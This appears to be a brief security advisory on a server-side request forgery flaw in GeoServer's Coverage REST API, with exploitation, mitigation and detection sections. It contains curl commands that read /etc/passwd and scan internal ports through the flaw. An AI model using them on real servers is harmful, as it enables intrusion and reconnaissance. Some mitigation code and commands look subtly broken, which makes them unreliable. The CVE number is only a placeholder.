GeoServer, Server-Side Request Forgery (SSRF), CVE-2025-XXXX (Moderate)

Listen to this Post

How the CVE Works

The vulnerability exists in GeoServer’s Coverage REST API endpoint /workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format}. When `{method}` is set to url, the API fetches a file from a user-supplied URL without proper validation. Attackers can exploit this by crafting malicious URLs to interact with internal services, leading to Server-Side Request Forgery (SSRF). The lack of URL whitelisting or schema restrictions (e.g., blocking file://, gopher://) allows arbitrary requests, potentially exposing sensitive data or enabling internal network reconnaissance.

DailyCVE Form

Platform: GeoServer
Version: <= 2.25.0
Vulnerability: SSRF via Coverage API
Severity: Moderate
Date: Jun 10, 2025

Prediction: Patch expected by Jul 15, 2025

What Undercode Say:

Exploitation:

1. Craft Malicious Request:

curl -X POST 'http://target/geoserver/rest/workspaces/test/coveragestores/store/url.json' \
-H 'Content-Type: application/json' \
-d '{"url": "file:///etc/passwd"}'

2. Internal Port Scan:

for port in {80,443,8080}; do
curl -X POST 'http://target/geoserver/.../url.json' -d '{"url": "http://127.0.0.1:$port"}'
done

Mitigation:

1. Patch Workaround:

Modify `RESTUtils.java` to enforce URL validation:

if (!url.startsWith("http://trusted.com") || url.contains("file://")) {
throw new IllegalArgumentException("Invalid URL");
}

2. Network Controls:

iptables -A OUTPUT -d 127.0.0.1 -j DROP Block loopback SSRF

3. GeoServer Update:

sudo apt update && sudo apt upgrade geoserver

Detection:

1. Log Analysis:

grep "coveragestores.url" /var/log/geoserver/.log

2. WAF Rule:

location ~ /coveragestores/./url. {
if ($args ~ "url=file://") { return 403; }
}

References:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top